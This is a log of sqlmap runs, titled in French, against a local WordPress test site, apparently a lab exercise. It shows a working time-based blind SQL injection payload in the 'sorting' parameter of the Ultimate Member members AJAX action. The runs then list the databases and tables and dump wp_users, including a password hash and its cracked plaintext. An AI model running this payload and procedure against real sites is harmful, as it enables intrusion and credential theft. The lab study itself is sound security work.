tester les vulnérabilités

```
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.9.2#stable}
|_ -| . [(]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
```

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:14:34 /2025-04-06/

[?1049h [22;0;0t [1;24r (B [m [4l [?7h [24;1H [?1049l [23;0;0t
[?1l >[15:14:34] [INFO] testing URL 'http://127.0.0.1//wp-admin/admin-ajax.php'
[15:14:34] [INFO] using '/home/kali/.local/share/sqlmap/output/results-04062025_0314pm.csv' as the CSV results file in multiple targets mode
[15:14:34] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: sorting (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: action=um_get_members&nonce=ca9860d0e9&directory_id=b9238&sorting=user_login AND (SELECT 2984 FROM (SELECT(SLEEP(5)))yyGC)

[15:14:34] [INFO] testing MySQL
[15:14:34] [INFO] confirming MySQL
[15:14:35] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian

web application technology: Apache 2.4.62, PHP 8.2.28

back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)

[15:14:35] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/kali/.local/share/sqlmap/output/results-04062025_0314pm.csv'

[*] ending @ 15:14:34 /2025-04-06/

lister les bases de données

```
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.9.2#stable}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
```

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:14:36 /2025-04-06/

[?1049h [22;0;0t [1;24r (B [m [4l [?7h [24;1H [?1049l [23;0;0t

[?1l >[15:14:36] [INFO] testing URL 'http://127.0.0.1//wp-admin/admin-ajax.php'

[15:14:36] [INFO] using '/home/kali/.local/share/sqlmap/output/results-04062025_0314pm.csv' as the CSV results file in multiple targets mode

[15:14:36] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

Parameter: sorting (POST)

    Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: action=um_get_members&nonce=ca9860d0e9&directory_id=b9238&sorting=user_login AND (SELECT 2984 FROM (SELECT(SLEEP(5)))yyGC)

[15:14:37] [INFO] testing MySQL

[15:14:37] [INFO] confirming MySQL

[15:14:37] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian

web application technology: PHP 8.2.28, Apache 2.4.62

back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)

[15:14:37] [INFO] fetching database names

[15:14:37] [INFO] fetching number of databases

[15:14:37] [INFO] resumed: 2

[15:14:37] [INFO] resumed: information_schema

[15:14:37] [INFO] resumed: wordpress

available databases [2]:

[*] information_schema

[*] wordpress

[15:14:37] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/kali/.local/share/sqlmap/output/results-04062025_0314pm.csv'

[*] ending @ 15:14:37 /2025-04-06/

lister les tables

```
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.9.2#stable}
|_ -| . [,]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
```

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:14:38 /2025-04-06/

[?1049h [22;0;0t [1;24r (B [m [4l [?7h [24;1H [?1049l [23;0;0t

[?1l >[15:14:38] [INFO] testing URL 'http://127.0.0.1//wp-admin/admin-ajax.php'

[15:14:38] [INFO] using '/home/kali/.local/share/sqlmap/output/results-04062025_0314pm.csv' as the CSV results file in multiple targets mode

[15:14:38] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

Parameter: sorting (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: action=um_get_members&nonce=ca9860d0e9&directory_id=b9238&sorting=user_login AND (SELECT 2984 FROM (SELECT(SLEEP(5)))yyGC)

[15:14:38] [INFO] testing MySQL

[15:14:38] [INFO] confirming MySQL

[15:14:38] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian

web application technology: Apache 2.4.62, PHP 8.2.28

back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)

[15:14:38] [INFO] fetching tables for database: 'wordpress'

[15:14:38] [INFO] fetching number of tables for database 'wordpress'

[15:14:38] [INFO] resumed: 13

[15:14:38] [INFO] resumed: wp_comments

[15:14:38] [INFO] resumed: wp_commentmeta

[15:14:38] [INFO] resumed: wp_options

[15:14:38] [INFO] resumed: wp_term_relationships

[15:14:38] [INFO] resumed: wp_term_taxonomy

[15:14:38] [INFO] resumed: wp_terms

[15:14:38] [INFO] resumed: wp_postmeta

[15:14:38] [INFO] resumed: wp_users

[15:14:38] [INFO] resumed: wp_termmeta

[15:14:38] [INFO] resumed: wp_usermeta

[15:14:38] [INFO] resumed: wp_links

[15:14:38] [INFO] resumed: wp_um_metadata

[15:14:38] [INFO] resumed: wp_posts

Database: wordpress

[13 tables]

+----------------------+

| wp_commentmeta |

| wp_comments |

| wp_links |

| wp_options |

| wp_postmeta |

| wp_posts |

| wp_term_relationships |

| wp_term_taxonomy |

| wp_termmeta |

| wp_terms |

| wp_um_metadata |

| wp_usermeta |

| wp_users |

+----------------------+

[15:14:38] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/kali/.local/share/sqlmap/output/results-04062025_0314pm.csv'

[*] ending @ 15:14:38 /2025-04-06/

dump wp_users

```
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.9.2#stable}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
```

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:14:39 /2025-04-06/

[?1049h [22;0;0t [1;24r (B [m [4l [?7h [24;1H [?1049l [23;0;0t
[?1l >[15:14:39] [INFO] testing URL 'http://127.0.0.1//wp-admin/admin-ajax.php'
[15:14:39] [INFO] using '/home/kali/.local/share/sqlmap/output/results-04062025_0314pm.csv' as the CSV results file in multiple targets mode
[15:14:39] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: sorting (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: action=um_get_members&nonce=ca9860d0e9&directory_id=b9238&sorting=user_login AND (SELECT 2984 FROM (SELECT(SLEEP(5)))yyGC)

[15:14:39] [INFO] testing MySQL
[15:14:39] [INFO] confirming MySQL
[15:14:39] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 8.2.28, Apache 2.4.62
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)

[15:14:39] [INFO] fetching columns for table 'wp_users' in database 'wordpress'

[15:14:39] [INFO] resumed: 10

[15:14:39] [INFO] resumed: ID

[15:14:39] [INFO] resumed: user_login

[15:14:39] [INFO] resumed: user_pass

[15:14:39] [INFO] resumed: user_nicename

[15:14:39] [INFO] resumed: user_email

[15:14:39] [INFO] resumed: user_url

[15:14:39] [INFO] resumed: user_registered

[15:14:39] [INFO] resumed: user_activation_key

[15:14:39] [INFO] resumed: user_status

[15:14:39] [INFO] resumed: display_name

[15:14:39] [INFO] fetching entries for table 'wp_users' in database 'wordpress'

[15:14:39] [INFO] fetching number of entries for table 'wp_users' in database 'wordpress'

[15:14:39] [INFO] resumed: 1

[15:14:39] [INFO] resumed: 1

[15:14:39] [INFO] resumed: root

[15:14:39] [INFO] retrieved: [15:14:39] [WARNING] (case) time-based comparison requires larger statistical model, please wait..... (done)

[15:14:40] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions

[15:14:40] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'

[15:14:40] [INFO] resumed: root@gmail.com

[15:14:40] [INFO] resumed: root

[15:14:40] [INFO] resumed: root

[15:14:40] [INFO] resumed: PB/UoThkqexxcrY3TGOt6gHOaZN1vkS/

[15:14:40] [INFO] resumed: 2025-02-11 22:11:31

[15:14:40] [INFO] resumed: 0

[15:14:40] [INFO] resumed: http://localhost

[15:14:40] [INFO] recognized possible password hashes in column 'user_pass'

[15:14:40] [INFO] writing hashes to a temporary file '/tmp/sqlmap1gorzx4x202298/sqlmaphashes-hmtyz_lq.txt'

[15:14:40] [INFO] using hash method 'phpass_passwd'

[15:14:40] [INFO] resuming password 'anthony' for hash 'PB/UoThkqexxcrY3TGOt6gHOaZN1vkS/' for user 'root'

Database: wordpress

Table: wp_users

[1 entry]

+----+-----------------+--+---------------+------------+-------------+-------------+---------------+---------------------+

| ID | user_url | user_pass | user_email | user_login | user_status | display_name | user_nicename | user_registered | user_activation_key |

+----+-----------------+--+---------------+------------+-------------+-------------+---------------+---------------------+

| 1 | http://localhost | PB/UoThkqexxcrY3TGOt6gHOaZN1vkS/ (anthony) | root@gmail.com | root | 0 | root | root | 2025-02-11 22:11:31 | <blank> |

+----+-----------------+--+---------------+------------+-------------+-------------+---------------+---------------------+

[15:14:40] [INFO] table 'wordpress.wp_users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/127.0.0.1/dump/wordpress/wp_users.csv'

[15:14:40] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/kali/.local/share/sqlmap/output/results-04062025_0314pm.csv'

[*] ending @ 15:14:40 /2025-04-06/